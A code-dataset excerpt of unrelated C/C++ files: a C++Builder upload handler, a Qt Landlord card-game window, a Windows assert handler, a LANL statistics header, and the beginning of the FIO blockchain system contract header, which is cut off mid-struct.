void __fastcall TUploadPicturesPage::UploadExecute(TObject *Sender,
TStrings *Params)
{
UploadAdapter->UpdateRecords(); // Causes the fields to be updated, and files to be accepted
}
//---------------------------------------------------------------------------
void __fastcall TUploadPicturesPage::WebPageModuleActivate(TObject *Sender)
{
UploadedFiles->Strings->Clear();
}
//---------------------------------------------------------------------------
| 4,849 | 1,454 |
#include "gamewindow.h"
#include "cardgroups.h"
#include <algorithm>
#include <QPainter>
#include <QDebug>
#include <QPalette>
#include <QMessageBox>
const QSize GameWindow::gameWindowSize = QSize(1200, 800);
const int GameWindow::cardWidthSpace = 35;
const int GameWindow::cardHeightSpace = 20; //TODO
const int GameWindow::cardRemSpace = 180; //TODO
const int GameWindow::myCardWidthStartPos = 600; //TODO
const int GameWindow::myCardHeightStartPos = 650; //TODO
const int GameWindow::leftCardWidthStartPos = 10; //TODO
const int GameWindow::leftCardHeightStartPos = 100; //TODO
const int GameWindow::rightCardWidthStartPos = 1075; //TODO
const int GameWindow::rightCardHeightStartPos = 100; //TODO
const int GameWindow::remCardWidthStartPos = 350;//TODO
const int GameWindow::remCardHeightStartPos = 20;//TODO
const int GameWindow::betBtnWidthStartPos = 320; //TODO
const int GameWindow::betBtnHeightStartPos = 575; //TODO
const int GameWindow::betBtnWidthSpace = 140; //TODO
const int GameWindow::fontSize = 20;
const QPoint GameWindow::myBetInfoPos = QPoint(500, 375);
const QPoint GameWindow::leftPlayerBetInfoPos = QPoint(135, 50);
const QPoint GameWindow::rightPlayerBetInfoPos = QPoint(975, 50);
const int GameWindow::cardSelectedShift = 35;
const QPoint GameWindow::passBtnStartPos = QPoint(350, 575);
const QPoint GameWindow::playBtnStartPos = QPoint(700, 575);
const QPoint GameWindow::myCardZone = QPoint(600, 480);
const int GameWindow::myCardZoneWidthSpace = 40;
const QPoint GameWindow::rightCardZone = QPoint(925, 150);
const int GameWindow::rightCardZoneHeightSpace = 40;
const QPoint GameWindow::leftCardZone = QPoint(130, 150);
const int GameWindow::leftCardZoneHeightSpace = 40;
const QPoint GameWindow::myStatusPos = QPoint(925, 500);
const QPoint GameWindow::rightStatusPos = QPoint(925, 50);
const QPoint GameWindow::leftStatusPos = QPoint(130, 50);
const QPoint GameWindow::myLandLordPos = QPoint(50, 500);
GameWindow::GameWindow(QWidget *parent) : QMainWindow(parent)
{
setFixedSize(gameWindowSize);
setWindowTitle("Landlord: Welcome!");
setWindowIcon(QIcon("../picture/icon.jfif"));
gameControl = new GameControl(this);
gameControl->init();
cardSize = QSize(80, 105);
initCardWidgetMap();
initButtons();
initPlayerContext();
initInfoLabel();
initSignalsAndSlots();
qDebug() << "初始化牌";
}
void GameWindow::init(){
gameControl->initCards();
initLandLordCards();
}
void GameWindow::insertCardWidget(const Card &card, QString &path)
{
CardWidget *cardWidget = new CardWidget(this);
QPixmap pix = QPixmap(path);
cardWidget->hide();
cardWidget->setCard(card);
cardWidget->setPix(pix);
cardWidgetMap.insert(card, cardWidget);
connect(cardWidget, &CardWidget::notifySelected, this, &GameWindow::cardSelected);
}
void GameWindow::addLandLordCard(const Card &card)
{
CardWidget *cw = cardWidgetMap[card];
CardWidget *cardWidget = new CardWidget(this);
QPixmap pix = QPixmap(cw->getPix());
cardWidget->hide();
cardWidget->setCard(card);
cardWidget->setPix(pix);
restThreeCards.push_back(cardWidget);
}
void GameWindow::initCardWidgetMap()
{
QString prefix = ":/PokerImage/";
QString suitMap[] = {"poker_t_1_v_", "poker_t_2_v_", "poker_t_3_v_", "poker_t_4_v_"};
for (int st = Suit_Begin + 1; st < Suit_End; ++st) {
for (int pt = Card_Begin + 1; pt < Card_SJ; ++pt) {
Card card((CardPoint)pt, (CardSuit)st);
QString cardPath;
if(pt == 13)
cardPath = prefix + suitMap[st-1] + QString::number(1) + ".png";
else
cardPath = prefix + suitMap[st-1] + QString::number((pt+1)%14) + ".png";
insertCardWidget(card, cardPath);
}
}
Card card;
QString cardPath;
cardPath = prefix + "smalljoker.png";
card.point = Card_SJ;
insertCardWidget(card, cardPath);
card.point = Card_BJ;
cardPath = prefix + "bigjoker.png";
insertCardWidget(card, cardPath);
}
void GameWindow::initInfoLabel(){
QPalette palette = this->palette();
palette.setColor(QPalette::WindowText, Qt::red);
QFont font("Microsoft YaHei", fontSize, QFont::Bold);
myBetInfo = new QLabel();
myBetInfo->setParent(this);
myBetInfo->setPalette(palette);
myBetInfo->setFont(font);
myBetInfo->raise();
myBetInfo->move(myBetInfoPos);
myBetInfo->hide();
rightBetInfo = new QLabel();
rightBetInfo->setParent(this);
rightBetInfo->setPalette(palette);
rightBetInfo->setFont(font);
rightBetInfo->raise();
rightBetInfo->move(rightPlayerBetInfoPos);
rightBetInfo->hide();
leftBetInfo = new QLabel();
leftBetInfo->setParent(this);
leftBetInfo->setPalette(palette);
leftBetInfo->setFont(font);
leftBetInfo->raise();
leftBetInfo->move(leftPlayerBetInfoPos);
leftBetInfo->hide();
passInfo = new QLabel();
passInfo->setParent(this);
passInfo->setPalette(palette);
passInfo->setFont(font);
passInfo->raise();
passInfo->move(myBetInfoPos);
passInfo->hide();
playInfo = new QLabel();
playInfo->setParent(this);
playInfo->setPalette(palette);
playInfo->setFont(font);
playInfo->raise();
playInfo->move(myBetInfoPos);
playInfo->hide();
leftPassInfo = new QLabel();
leftPassInfo->setParent(this);
leftPassInfo->setPalette(palette);
leftPassInfo->setFont(font);
leftPassInfo->raise();
leftPassInfo->move(leftPlayerBetInfoPos);
leftPassInfo->hide();
rightPassInfo = new QLabel();
rightPassInfo->setParent(this);
rightPassInfo->setPalette(palette);
rightPassInfo->setFont(font);
rightPassInfo->raise();
rightPassInfo->move(rightPlayerBetInfoPos);
rightPassInfo->hide();
myStatusInfo = new QLabel();
myStatusInfo->setParent(this);
myStatusInfo->setPalette(palette);
myStatusInfo->setFont(font);
myStatusInfo->raise();
myStatusInfo->move(myStatusPos);
myStatusInfo->hide();
leftStatusInfo = new QLabel();
leftStatusInfo->setParent(this);
leftStatusInfo->setPalette(palette);
leftStatusInfo->setFont(font);
leftStatusInfo->raise();
leftStatusInfo->move(leftStatusPos);
leftStatusInfo->hide();
rightStatusInfo = new QLabel();
rightStatusInfo->setParent(this);
rightStatusInfo->setPalette(palette);
rightStatusInfo->setFont(font);
rightStatusInfo->raise();
rightStatusInfo->move(rightStatusPos);
rightStatusInfo->hide();
QFont font2("Microsoft YaHei", 10, QFont::Bold);
myLandLordInfo = new QLabel();
myLandLordInfo->setParent(this);
myLandLordInfo->setPalette(palette);
myLandLordInfo->setFont(font2);
myLandLordInfo->lower();
myLandLordInfo->move(myLandLordPos);
myLandLordInfo->setText("LandLord:\n everyone");
myLandLordInfo->show();
}
void GameWindow::initButtons()
{
startBtn = new MyPushButton("../picture/game_start.png", "开始游戏");
startBtn->setParent(this);
startBtn->move(this->width()*0.5-startBtn->width()*0.5, this->height()*0.5);
betNoBtn = new MyPushButton("../picture/No.png", "No!");
bet1Btn = new MyPushButton("../picture/OnePoint.png", "1 Point!");
bet2Btn = new MyPushButton("../picture/TwoPoints.png", "2 Points!");
bet3Btn = new MyPushButton("../picture/ThreePoints.png", "3 Points!");
betNoBtn->setParent(this);
bet1Btn->setParent(this);
bet2Btn->setParent(this);
bet3Btn->setParent(this);
betNoBtn->move(betBtnWidthStartPos, betBtnHeightStartPos);
bet1Btn->move(betBtnWidthStartPos + betBtnWidthSpace, betBtnHeightStartPos);
bet2Btn->move(betBtnWidthStartPos + 2*betBtnWidthSpace, betBtnHeightStartPos);
bet3Btn->move(betBtnWidthStartPos + 3*betBtnWidthSpace, betBtnHeightStartPos);
betNoBtn->hide();
bet1Btn->hide();
bet2Btn->hide();
bet3Btn->hide();
passBtn = new MyPushButton("../picture/Pass.png", "Pass!");
playBtn = new MyPushButton("../picture/Play.png", "Play!");
passBtn->setParent(this);
playBtn->setParent(this);
passBtn->move(passBtnStartPos);
playBtn->move(playBtnStartPos);
passBtn->hide();
playBtn->hide();
}
void GameWindow::initPlayerContext()
{
PlayerContext context;
context.cardsAlign = Vertical;
context.isFrontSide = false;
playerContextMap.insert(gameControl->getPlayerC(), context);
context.cardsAlign = Vertical;
context.isFrontSide = false;
playerContextMap.insert(gameControl->getPlayerB(), context);
context.cardsAlign = Horizontal;
context.isFrontSide = true;
playerContextMap.insert(gameControl->getPlayerA(), context);
for (auto &pcm : playerContextMap)
{
pcm.info = new QLabel(this);
pcm.info->resize(100, 50);
pcm.info->setObjectName("info");
pcm.info->hide();
pcm.rolePic = new QLabel(this);
pcm.rolePic->resize(84, 120);
pcm.rolePic->hide();
}
}
void GameWindow::initLandLordCards()
{
QVector<Card> cards = gameControl->getLandLordCards();
for (auto &card : cards) {
addLandLordCard(card);
}
}
void GameWindow::initSignalsAndSlots(){
connect(startBtn, &MyPushButton::clicked, this, &GameWindow::onStartBtnClicked);
connect(betNoBtn, &MyPushButton::clicked, this, &GameWindow::onBetNoBtnClicked);
connect(bet1Btn, &MyPushButton::clicked, this, &GameWindow::onBet1BtnClicked);
connect(bet2Btn, &MyPushButton::clicked, this, &GameWindow::onBet2BtnClicked);
connect(bet3Btn, &MyPushButton::clicked, this, &GameWindow::onBet3BtnClicked);
connect(passBtn, &MyPushButton::clicked, this, &GameWindow::passCards);
connect(playBtn, &MyPushButton::clicked, this, &GameWindow::playCards);
//
connect(gameControl, &GameControl::callGamewindowShowBets, this, &GameWindow::onBetPointsCall);
connect(gameControl, &GameControl::callGamewindowShowLandlord, this, [=](){
if (gameControl->getgamemodel() == 1){
if (gameControl->getPlayerA()->getIsLandLord()){
myLandLordInfo->setText("LandLord:\n me");
}else if (gameControl->getPlayerB()->getIsLandLord()){
myLandLordInfo->setText("LandLord:\n right");
}else{
myLandLordInfo->setText("LandLord:\n left");
}
myLandLordInfo->show();
}
showRemLandLordCard("show");
});
connect(gameControl, &GameControl::NotifyPlayerPlayHand, this, &GameWindow::otherPlayerShowCards);
connect(gameControl, &GameControl::NotifyPlayerbutton, this, &GameWindow::myPlayerShowButton);
connect(gameControl, &GameControl::NotifyPlayerStatus, this, &GameWindow::showEndStatus);
}
void GameWindow::onStartBtnClicked()
{
startBtn->hide();
showLandLordCard();
if (gameControl->getgamemodel() == 1){
call4Landlord();
}
else{
startGame();
}
qDebug() << "开始游戏";
}
void GameWindow::showLandLordCard(){
// gameControl->getPlayerA();
if(gameControl->getPlayerA()->getIsPerson()){
showMyCard(gameControl->getPlayerA());
showOtherPlayerCard(gameControl->getPlayerB(), "right");
showOtherPlayerCard(gameControl->getPlayerC(), "left");
}
else if(gameControl->getPlayerB()->getIsPerson()){
showMyCard(gameControl->getPlayerB());
showOtherPlayerCard(gameControl->getPlayerC(), "right");
showOtherPlayerCard(gameControl->getPlayerA(), "left");
}
else if(gameControl->getPlayerC()->getIsPerson()){
showMyCard(gameControl->getPlayerC());
showOtherPlayerCard(gameControl->getPlayerA(), "right");
showOtherPlayerCard(gameControl->getPlayerB(), "left");
}
showRemLandLordCard("hidden");
}
void GameWindow::showOtherPlayerCard(Player* otherPlayer, const QString status){
QVector<Card> myCards;
QVector<CardWidget*> myWidget;
myCards = otherPlayer->getHandCards();
for (int i=0; i < myCards.size(); i++) {
myWidget.push_back(cardWidgetMap[myCards.at(i)]);
myWidget.at(i)->raise();
if(status == "left"){
myWidget.at(i)->setFront(false);
myWidget.at(i)->move(leftCardWidthStartPos, leftCardHeightStartPos + i*cardHeightSpace);
}
else{
myWidget.at(i)->setFront(false);
myWidget.at(i)->move(rightCardWidthStartPos, rightCardHeightStartPos + i*cardHeightSpace);
}
myWidget.at(i)->show();
//qDebug() << myWidget.at(i)->getIsFront();
//qDebug() << myWidget.size();
}
}
void GameWindow::showMyCard(Player* myPlayer){
QVector<Card> myCards;
QVector<CardWidget*> myWidget;
myCards = myPlayer->getHandCards();
int len = myCards.size();
for (int i=0; i < len; i++) {
myWidget.push_back(cardWidgetMap[myCards.at(i)]);
myWidget.at(i)->setOwner(myPlayer);
myWidget.at(i)->raise();
myWidget.at(i)->move(myCardWidthStartPos + (i-len/2-1)*cardWidthSpace, myCardHeightStartPos);
myWidget.at(i)->show();
}
}
void GameWindow::showRemLandLordCard(QString status){
for (int i=0; i < restThreeCards.size(); i++) {
restThreeCards.at(i)->raise();
if (status == "hidden")
restThreeCards.at(i)->setFront(false);
else{
restThreeCards.at(i)->setFront(true);
if(gameControl->getPlayerA()->getIsLandLord())
showMyCard(gameControl->getPlayerA());
else if(gameControl->getPlayerB()->getIsLandLord())
showOtherPlayerCard(gameControl->getPlayerB(), "right");
else if(gameControl->getPlayerC()->getIsLandLord())
showOtherPlayerCard(gameControl->getPlayerC(), "left");
}
restThreeCards.at(i)->move(remCardWidthStartPos + i*cardRemSpace, remCardHeightStartPos);
restThreeCards.at(i)->show();
}
if (status == "show"){
QTimer::singleShot(1200, this, [=](){
myBetInfo->hide();
rightBetInfo->hide();
leftBetInfo->hide();
startGame();
});
}
}
void GameWindow::call4Landlord(){
betNoBtn->show();
bet1Btn->show();
bet2Btn->show();
bet3Btn->show();
}
void GameWindow::startGame(){//TODO
//qDebug() << (gameControl->getCurrentPlayer() == gameControl->getPlayerA());
//if(gameControl->getCurrentPlayer() == gameControl->getPlayerA()){
passBtn->show();
playBtn->show();
//}
}
void GameWindow::onBetNoBtnClicked(){
qDebug() << "my no bet";
if(gameControl->getPlayerA()->getIsPerson()){
gameControl->getPlayerA()->setBetPoints(0);
}
else if(gameControl->getPlayerB()->getIsPerson()){
gameControl->getPlayerB()->setBetPoints(0);
}
else if(gameControl->getPlayerC()->getIsPerson()){
gameControl->getPlayerC()->setBetPoints(0);
}
QTimer::singleShot(10, this, [=](){
betNoBtn->hide();
bet1Btn->hide();
bet2Btn->hide();
bet3Btn->hide();
gameControl->updateBetPoints(0);
});
qDebug() << "No bet!";
}
void GameWindow::onBet1BtnClicked(){
if(gameControl->getPlayerA()->getIsPerson()){
gameControl->getPlayerA()->setBetPoints(1);
}
else if(gameControl->getPlayerB()->getIsPerson()){
gameControl->getPlayerB()->setBetPoints(1);
}
else if(gameControl->getPlayerC()->getIsPerson()){
gameControl->getPlayerC()->setBetPoints(1);
}
QTimer::singleShot(10, this, [=](){
betNoBtn->hide();
bet1Btn->hide();
bet2Btn->hide();
bet3Btn->hide();
gameControl->updateBetPoints(1);
});
qDebug() << "1 Point!";
}
void GameWindow::onBet2BtnClicked(){
if(gameControl->getPlayerA()->getIsPerson()){
gameControl->getPlayerA()->setBetPoints(2);
}
else if(gameControl->getPlayerB()->getIsPerson()){
gameControl->getPlayerB()->setBetPoints(2);
}
else if(gameControl->getPlayerC()->getIsPerson()){
gameControl->getPlayerC()->setBetPoints(2);
}
QTimer::singleShot(10, this, [=](){
betNoBtn->hide();
bet1Btn->hide();
bet2Btn->hide();
bet3Btn->hide();
gameControl->updateBetPoints(2);
});
qDebug() << "2 Points!";
}
void GameWindow::onBet3BtnClicked(){
if(gameControl->getPlayerA()->getIsPerson()){
gameControl->getPlayerA()->setBetPoints(3);
}
else if(gameControl->getPlayerB()->getIsPerson()){
gameControl->getPlayerB()->setBetPoints(3);
}
else if(gameControl->getPlayerC()->getIsPerson()){
gameControl->getPlayerC()->setBetPoints(3);
}
QTimer::singleShot(10, this, [=](){
betNoBtn->hide();
bet1Btn->hide();
bet2Btn->hide();
bet3Btn->hide();
gameControl->updateBetPoints(3);
});
qDebug() << "3 Points!";
}
void GameWindow::cardSelected(Qt::MouseButton mouseButton){
CardWidget* cardWidget = (CardWidget*)sender();
Player* player = cardWidget->getOwner();
if(mouseButton == Qt::LeftButton){
cardWidget->setIsSelected(!cardWidget->getIsSelected()); // switch statu
if(player == gameControl->getPlayerA())
showMySelectedCard(player);
// int i;
// for(i=0; i < player->getSelectCards().size(); i++){
// if(player->getSelectCards().at(i) == cardWidget->getCard())
// break;
// }
// if(i < player->getSelectCards().size())
// player->getSelectCards().remove(i);
// else if(i == player->getSelectCards().size())
// player->getSelectCards().push_back(cardWidget->getCard());
}
}
void GameWindow::showMySelectedCard(Player* player){//TODO
CardWidget* selectedWidget;
for(int i=0; i < player->getHandCards().size(); i++){
selectedWidget = cardWidgetMap[player->getHandCards().at(i)];
if(selectedWidget->getIsSelected())
selectedWidget->move(selectedWidget->x(), myCardHeightStartPos - cardSelectedShift);
else
selectedWidget->move(selectedWidget->x(), myCardHeightStartPos);
}
}
void GameWindow::onBetPointsCall(Player* player){
if(player->getIsPerson()){
int betPoints = player->getBetPoints();
if (betPoints == 0)
myBetInfo->setText("No!");
else if(betPoints == 1)
myBetInfo->setText("1 Point!");
else
myBetInfo->setText(QString::number(betPoints) + " Points!");
myBetInfo->show();
}
else{
if(gameControl->getPlayerB() == player){
int betPoints = player->getBetPoints();
if (betPoints == 0)
rightBetInfo->setText("No!");
else if(betPoints == 1)
rightBetInfo->setText("1 Point!");
else
rightBetInfo->setText(QString::number(betPoints) + " Points!");
rightBetInfo->show();
}
else{
int betPoints = player->getBetPoints();
if (betPoints == 0)
leftBetInfo->setText("No!");
else if(betPoints == 1)
leftBetInfo->setText("1 Point!");
else
leftBetInfo->setText(QString::number(betPoints) + " Points!");
leftBetInfo->show();
}
}
qDebug() << "betInfo";
}
void GameWindow::playCards(){
QVector<Card> selectedCards;
QVector<Card> handCards;
QVector<int> idx;
CardWidget* cardWidget;
handCards = gameControl->getCurrentPlayer()->getHandCards();
qDebug() << handCards.size();
for(int i=0; i < handCards.size(); i++){
cardWidget = cardWidgetMap[handCards.at(i)];
if(cardWidget->getIsSelected()){
selectedCards.push_back(handCards.at(i));
idx.push_back(i);
}
}
for(int i=0; i < idx.size(); i++){
handCards.remove(idx.at(i) - i);
}
gameControl->getCurrentPlayer()->resetSelectCards(selectedCards);
//playerA->selectedCard()->checkali(gmctl->punchcard)
// wait bool: successful -> animation, failed -> error msgbox/qlabel
// slots: robot display
CardGroups cg = CardGroups(selectedCards);
qDebug() << gameControl->getCurrentCombo().getCards().size();
if(gameControl->getCurrentPlayer()->getSelectCards().canBeat(gameControl->getCurrentCombo())
|| gameControl->getCurrentPlayer() == gameControl->getEffectivePlayer()){ //pending: canBeat! You win in the last cycle!
qDebug() << gameControl->getCurrentCombo().getCards().size();
gameControl->getCurrentPlayer()->resetHandCards(handCards);
showPlayCard();
gameControl->onPlayerHand(gameControl->getCurrentPlayer(), cg);
}
else{
selectedCards.clear();
gameControl->getCurrentPlayer()->resetSelectCards(selectedCards);
playInfo->setText("Combo Invalid!");
playInfo->show();
showPlayCard();
QTimer::singleShot(600, this, [=](){
playInfo->hide();
});
}
}
void GameWindow::showPlayCard(){
qDebug() << "++++++++++++++++++++++++";
qDebug() << gameControl->getPlayerA()->getHandCards().size();
if(gameControl->getCurrentPlayer() == gameControl->getPlayerA()){
// check whether is empty
if(gameControl->getPlayerA()->getSelectCards().getCards().isEmpty()){
QVector<Card> handCards;
CardWidget* cardWidget;
handCards = gameControl->getCurrentPlayer()->getHandCards();
for(int i=0; i < handCards.size(); i++){
cardWidget = cardWidgetMap[handCards.at(i)];
cardWidget->setIsSelected(false);
}
showMyCard(gameControl->getPlayerA());
return;
}
else
showMyCard(gameControl->getPlayerA());
}
else if(gameControl->getCurrentPlayer() == gameControl->getPlayerB())
showOtherPlayerCard(gameControl->getCurrentPlayer(), "right");
else
showOtherPlayerCard(gameControl->getCurrentPlayer(), "left");
// show selected cards
Card selectCard;
CardWidget* cardWidget;
int len = gameControl->getCurrentPlayer()->getSelectCards().getCards().size();
for(int i=0; i < len; i++){
selectCard = gameControl->getCurrentPlayer()->getSelectCards().getCards().at(i);
cardWidget = cardWidgetMap[selectCard];
cardWidget->raise();
cardWidget->move(myCardZone.x() + (i-len/2-1)*myCardZoneWidthSpace, myCardZone.y());
cardWidget->show();
}
passBtn->hide();
playBtn->hide();
}
void GameWindow::passCards(){
QVector<Card> handCards;
CardWidget* cardWidget;
handCards = gameControl->getCurrentPlayer()->getHandCards();
for(int i=0; i < handCards.size(); i++){
cardWidget = cardWidgetMap[handCards.at(i)];
cardWidget->setIsSelected(false);
}
if(gameControl->getCurrentPlayer() == gameControl->getPlayerA())
showMyCard(gameControl->getPlayerA());
else if(gameControl->getCurrentPlayer() == gameControl->getPlayerB())
showOtherPlayerCard(gameControl->getCurrentPlayer(), "right");
else
showOtherPlayerCard(gameControl->getCurrentPlayer(), "left");
CardGroups cg;
gameControl->onPlayerHand(gameControl->getCurrentPlayer(),cg);
passInfo->setText("PASS!");
passInfo->show();
passBtn->hide();
playBtn->hide();
// QTimer::singleShot(600, this, [=](){
// passInfo->hide();
// });
}
void GameWindow::otherPlayerShowCards(Player* player, CardGroups cards){
if(player == gameControl->getPlayerB()){
showOtherPlayerCard(player, "right");
showOtherPlayerPlayCard(player, cards, "right");
}
else if(player == gameControl->getPlayerC()){
showOtherPlayerCard(player, "left");
showOtherPlayerPlayCard(player, cards, "left");
}
}
void GameWindow::showOtherPlayerPlayCard(Player* otherPlayer, CardGroups cards, const QString status){
//qDebug() << "666";
if(status == "right"){
if(cards.getCards().size() == 0){
rightPassInfo->setText("Pass!");
rightPassInfo->show();
}
else{
Card card;
CardWidget* cardWidget;
for(int i=0; i < cards.getCards().size(); i++){
card = cards.getCards().at(i);
cardWidget = cardWidgetMap[card];
cardWidget->setFront(true);
cardWidget->raise();
cardWidget->move(rightCardZone.x(), rightCardZone.y() + i*rightCardZoneHeightSpace);
cardWidget->show();
}
}
}
else{
if(cards.getCards().size() == 0){
leftPassInfo->setText("Pass!");
leftPassInfo->show();
}
else{
Card card;
CardWidget* cardWidget;
for(int i=0; i < cards.getCards().size(); i++){
card = cards.getCards().at(i);
cardWidget = cardWidgetMap[card];
cardWidget->setFront(true);
cardWidget->raise();
cardWidget->move(leftCardZone.x(), leftCardZone.y() + i*leftCardZoneHeightSpace);
cardWidget->show();
}
}
}
}
void GameWindow::myPlayerShowButton(Player* player){
qDebug() << "hide card";
//QTimer::singleShot(1000, this, [=](){
if(player == gameControl->getPlayerA()){
if (gameControl->getEffectivePlayer() != player)
passBtn->show();
playBtn->show();
}
CardGroups cardGroup = player->lastCards; //pending
if(cardGroup.getCards().size() == 0){
if(player == gameControl->getPlayerB())
rightPassInfo->hide();
else if(player == gameControl->getPlayerC()){
leftPassInfo->hide();
}
else{
passInfo->hide();
}
}
else{
Card card;
CardWidget* cardWidget;
for(int i=0; i < cardGroup.getCards().size(); i++){
card = cardGroup.getCards().at(i);
cardWidget = cardWidgetMap[card];
cardWidget->hide();
}
}
//});
}
void GameWindow::showEndStatus(Player* player){
playInfo->hide();
leftPassInfo->hide();
rightPassInfo->hide();
myStatusInfo->setText("Lose!");
leftStatusInfo->setText("Lose!");
rightStatusInfo->setText("Lose!");
if(player == gameControl->getPlayerA())
myStatusInfo->setText("Win!");
else if(player == gameControl->getPlayerB())
rightStatusInfo->setText("Win!");
else
leftStatusInfo->setText("Win!");
myStatusInfo->show();
leftStatusInfo->show();
rightStatusInfo->show();
QTimer::singleShot(100, this, [=](){
if(player == gameControl->getPlayerA())
QMessageBox::information(this, tr("Result"), QString("You Win!"));
else
QMessageBox::information(this, tr("Result"), QString("You Lose!"));
});
//startBtn->show();
}
void GameWindow::paintEvent(QPaintEvent *)
{
QPainter painter(this);
QPixmap pix;
pix.load("../picture/game_scene.PNG");
painter.drawPixmap(0, 0, this->width(), this->height(), pix);
}
GameControl* GameWindow::getgameControl(){
return this->gameControl;
}
| 28,347 | 9,135 |
#include "foundation/string.h"
#include "platform/call_stack.h"
#include <sstream>
#define WINDOWS_LEAN_AND_MEAN
#include <Windows.h>
namespace hg {
void win32_trigger_assert(const char *source, int line, const char *function, const char *condition, const char *message) {
std::ostringstream description;
description << "ASSERT(" << condition << ") failed!\n\nFile: " << source << "\nLine " << line << " in function '" << function << "'\n";
if (message)
description << "\nDetail: " << message << "\n";
CallStack callstack;
CaptureCallstack(callstack);
description << "\nCallstack:\n" << to_string(callstack);
MessageBoxW(nullptr, utf8_to_wchar(description.str()).c_str(), L"Assertion failed", MB_ICONSTOP);
#if _DEBUG || MIXED_RELEASE
DebugBreak();
#endif
}
} // namespace hg
| 793 | 274 |
// © 2022. Triad National Security, LLC. All rights reserved. This
// program was produced under U.S. Government contract
// 89233218CNA000001 for Los Alamos National Laboratory (LANL), which
// is operated by Triad National Security, LLC for the U.S.
// Department of Energy/National Nuclear Security Administration. All
// rights in the program are reserved by Triad National Security, LLC,
// and the U.S. Department of Energy/National Nuclear Security
// Administration. The Government is granted for itself and others
// acting on its behalf a nonexclusive, paid-up, irrevocable worldwide
// license in this material to reproduce, prepare derivative works,
// distribute copies to the public, perform publicly and display
// publicly, and to permit others to do so.
#ifndef FLUID_CON2PRIM_STATISTICS_HPP_
#define FLUID_CON2PRIM_STATISTICS_HPP_
#include <cstdio>
#include <map>
namespace con2prim_statistics {
class Stats {
public:
static std::map<int, int> hist;
static int max_val;
static void add(int val) {
if (hist.count(val) == 0) {
hist[val] = 1;
} else {
hist[val]++;
}
max_val = (val > max_val ? val : max_val);
}
static void report() {
auto f = fopen("c2p_stats.txt", "w");
for (int i = 0; i <= max_val; i++) {
int cnt = 0;
if (hist.count(i) > 0) cnt = hist[i];
fprintf(f, "%d %d\n", i, cnt);
}
}
private:
Stats() = default;
};
} // namespace con2prim_statistics
#endif
| 1,466 | 510 |
/** Fio system contract file
* Description: fio.system contains global state, producer, voting and other system level information along with
* the operations on these.
* @author Adam Androulidakis, Casey Gardiner, Ed Rotthoff
* @file fio.system.hpp
* @license FIO Foundation ( https://github.com/fioprotocol/fio/blob/master/LICENSE ) Dapix
*
* Changes:
*/
#pragma once
#include <eosiolib/asset.hpp>
#include <eosiolib/time.hpp>
#include <eosiolib/privileged.hpp>
#include <eosiolib/singleton.hpp>
#include <fio.address/fio.address.hpp>
#include <eosiolib/transaction.hpp>
#include <fio.fee/fio.fee.hpp>
#include "native.hpp"
#include <string>
#include <deque>
#include <type_traits>
#include <optional>
namespace eosiosystem {
using eosio::name;
using eosio::asset;
using eosio::symbol;
using eosio::symbol_code;
using eosio::indexed_by;
using eosio::const_mem_fun;
using eosio::block_timestamp;
using eosio::time_point;
using eosio::time_point_sec;
using eosio::microseconds;
using eosio::datastream;
using eosio::check;
template<typename E, typename F>
static inline auto has_field(F flags, E field)
-> std::enable_if_t<std::is_integral_v < F> &&
std::is_unsigned_v <F> &&
std::is_enum_v<E>
&& std::is_same_v <F, std::underlying_type_t<E>>, bool> {
return ((flags & static_cast
<F>(field)
) != 0 );
}
template<typename E, typename F>
static inline auto set_field(F flags, E field, bool value = true)
-> std::enable_if_t<std::is_integral_v < F> &&
std::is_unsigned_v <F> &&
std::is_enum_v<E>
&& std::is_same_v <F, std::underlying_type_t<E>>, F >
{
if( value )
return ( flags | static_cast
<F>(field)
);
else
return (
flags &~
static_cast
<F>(field)
);
}
struct [[eosio::table("global"), eosio::contract("fio.system")]] eosio_global_state : eosio::blockchain_parameters {
block_timestamp last_producer_schedule_update;
time_point last_pervote_bucket_fill;
int64_t pervote_bucket = 0;
int64_t perblock_bucket = 0;
uint32_t total_unpaid_blocks = 0; /// all blocks which have been produced but not paid
int64_t total_voted_fio = 0;
time_point thresh_voted_fio_time;
uint16_t last_producer_schedule_size = 0;
double total_producer_vote_weight = 0; /// the sum of all producer votes
block_timestamp last_name_close;
block_timestamp last_fee_update;
// explicit serialization macro is not necessary, used here only to improve compilation time
EOSLIB_SERIALIZE_DERIVED( eosio_global_state, eosio::blockchain_parameters,
(last_producer_schedule_update)(last_pervote_bucket_fill)
(pervote_bucket)(perblock_bucket)(total_unpaid_blocks)(total_voted_fio)(thresh_voted_fio_time)
(last_producer_schedule_size)(total_producer_vote_weight)(last_name_close)(last_fee_update)
)
};
/**
* Defines new global state parameters added after version 1.0
*/
struct [[eosio::table("global2"), eosio::contract("fio.system")]] eosio_global_state2 {
eosio_global_state2() {}
block_timestamp last_block_num; /* deprecated */
double total_producer_votepay_share = 0;
uint8_t revision = 0; ///< used to track version updates in the future.
EOSLIB_SERIALIZE( eosio_global_state2,(last_block_num)
(total_producer_votepay_share)(revision)
)
};
struct [[eosio::table("global3"), eosio::contract("fio.system")]] eosio_global_state3 {
eosio_global_state3() {}
time_point last_vpay_state_update;
double total_vpay_share_change_rate = 0;
EOSLIB_SERIALIZE( eosio_global_state3, (last_vpay_state_update)(total_vpay_share_change_rate)
)
};
//these locks are used for investors and emplyees and members who have grants upon integration.
//this table holds the list of FIO accounts that hold locked FIO tokens
struct [[eosio::table, eosio::contract("fio.system")]] locked_token_holder_info {
name owner;
uint64_t total_grant_amount = 0;
uint32_t unlocked_period_count = 0; //this indicates time periods processed and unlocked thus far.
uint32_t grant_type = 0; //1,2 see FIO spec for details
uint32_t inhibit_unlocking = 0;
uint64_t remaining_locked_amount = 0;
uint32_t timestamp = 0;
uint64_t primary_key() const { return owner.value; }
// explicit serialization macro is not necessary, used here only to improve compilation time
EOSLIB_SERIALIZE( locked_token_holder_info, (owner)(total_grant_amount)
(unlocked_period_count)(grant_type)(inhibit_unlocking)(remaining_locked_amount)(timestamp)
)
};
typedef eosio::multi_index<"lockedtokens"_n, locked_token_holder_info>
locked_tokens_table;
//begin general locks, these locks are used to hold tokens granted by any fio user
//to any other fio user.
struct glockresult {
bool lockfound = false; //did we find a general lock.
uint64_t amount; //amount votable
EOSLIB_SERIALIZE( glockresult, (lockfound)(amount))
};
struct lockperiods {
int64_t duration = 0; //duration in seconds. each duration is seconds after grant creation.
double percent; //this is the percent to be unlocked
EOSLIB_SERIALIZE( lockperiods, (duration)(percent))
};
struct [[eosio::table, eosio::contract("fio.system")]] locked_tokens_info {
int64_t id; //this is the identifier of the lock, primary key
name owner_account; //this is the account that owns the lock, secondary key
int64_t lock_amount = 0; //this is the amount of the lock in FIO SUF
